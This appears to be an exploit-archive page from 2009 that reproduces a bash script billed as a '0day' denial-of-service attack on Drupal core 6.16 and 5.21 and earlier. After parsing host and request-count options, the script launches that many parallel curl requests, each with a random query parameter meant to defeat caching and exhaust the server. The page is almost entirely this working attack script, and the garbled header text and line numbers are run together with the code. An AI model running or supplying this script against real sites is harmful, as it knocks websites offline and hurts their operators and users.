0day Drupal DOS <= 6.16 and 5.21

ʱ: 2009-12-31 (GMT+0800)

Է:

@Sebug.net   dis
վṩ()ܴй,ȫоѧ֮,Ը!1.#!/bin/bash2.#3.# Copyright (C) 2009 Emanuele Gentili < emgent@backtrack.it >4.#5.# This program is released under the terms of the GNU General Public License6.# (GPL), which is distributed with this software in the file "COPYING".7.# The GPL specifies the terms under which users may copy and use this software.8.#9.# Drupd0s.sh10.# This is a 0day DOS issue for Drupal Core that use cache stressing with random11.# parameter on multime requests.12.#13. 14.show_help(){15.  echo ""16.  echo " 2009 (C) Drupd0s.sh - 0day Drupal DOS <= 6.16 and 5.21"17.  echo ""18.  echo " --usage    show the exploit Usage"19.  echo " --prereq      show the exploit Prerequisites"20.  echo " --credits  show the exploit Credits"21.  echo " --help     show the Help"22.  echo ""23.  echo "Emanuele Gentili <emgent@backtrack.it>"24.}25. 26.show_credits(){27.  echo ""28.  echo " Emanuele 'emgent' Gentili"29.  echo " http://www.backtrack.it/~emgent/"30.  echo " emgent @ backtrack.it"31.  echo ""32.}33. 34.show_prereq(){35. echo ""36. echo " 2009 (C) Drupd0s.sh - 0day Drupal DOS <= 6.16 and 5.21"37. echo ""38. echo " Prerequeisites:"39. echo " Bash (yeah because is cool.)"40. echo " Curl"41. echo ""42. echo " Emanuele Gentili <emgent@backtrack.it>"43.}44. 45.show_usage(){46.  echo ""47.  echo " 2009 (C) Drupd0s.sh - 0day Drupal DOS <= 6.16 and 5.21"48.  echo ""49.  echo " usage $0 --host http://localhost/drupal/ --requests 1000"50.  echo ""51.  echo " Emanuele Gentili <emgent@backtrack.it>"52.}53. 54. 55.# Bash56.while [[ $# != 0 ]]; do57.    arg_name=$1; shift58.    case "$arg_name" in59.      --help|-?|-h) show_help; exit 0;;60.      --credits) show_credits; exit 0;;61.      --usage) show_usage; exit 0;;62.      --prereq) show_prereq; exit 0;;63.      --host) host=$1; shift;;64.      --requests) requests=$1; shift;;65.      *) echo "invalid option: $1"; show_help;exit 1;;66.    esac67.done68. 69.[ -z "$host" ] && { show_help; exit 1; }70. 71.for random in `seq 1 $requests`; do72.curl -A Firefox -o --url "$host/?q=node/2&d0s=$random" > /dev/null 2>&1 &73.done74. 75.# 2009-12-30 enJoy.